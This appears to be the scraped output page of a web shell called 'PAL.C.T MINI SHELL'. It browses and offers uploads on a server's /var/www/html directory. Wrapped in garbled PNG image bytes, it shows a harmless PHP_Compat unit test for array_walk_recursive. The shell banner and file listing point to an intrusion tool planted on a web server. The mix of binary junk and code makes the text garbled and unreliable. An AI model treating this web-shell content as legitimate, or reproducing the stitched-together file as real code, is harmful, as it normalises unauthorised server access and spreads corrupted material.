php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/gs1/php/php1/tests/function/
upload
files >> /var/www/html/gs1/php/php1/tests/function/array_walk_recursive.phpt

--TEST--
Function -- array_walk_recursive
--FILE--
<?php
require_once 'PHP/Compat/Function/array_walk_recursive.php';

$sweet = array('a' => 'apple', 'b' => 'banana');
$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

function test_print($item, $key, $userdata)
{
   echo "$key holds $item $userdata\n";
}

php_compat_array_walk_recursive($fruits, 'test_print', 'hi');

function test_reference(&$item, $key)
{
    $item = 'hi';
}

php_compat_array_walk_recursive($fruits, 'test_reference');

echo $fruits['sweet']['a'], "\n"; // hi
?>
--EXPECT--
a holds apple hi
b holds banana hi
sour holds lemon hi
hi
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`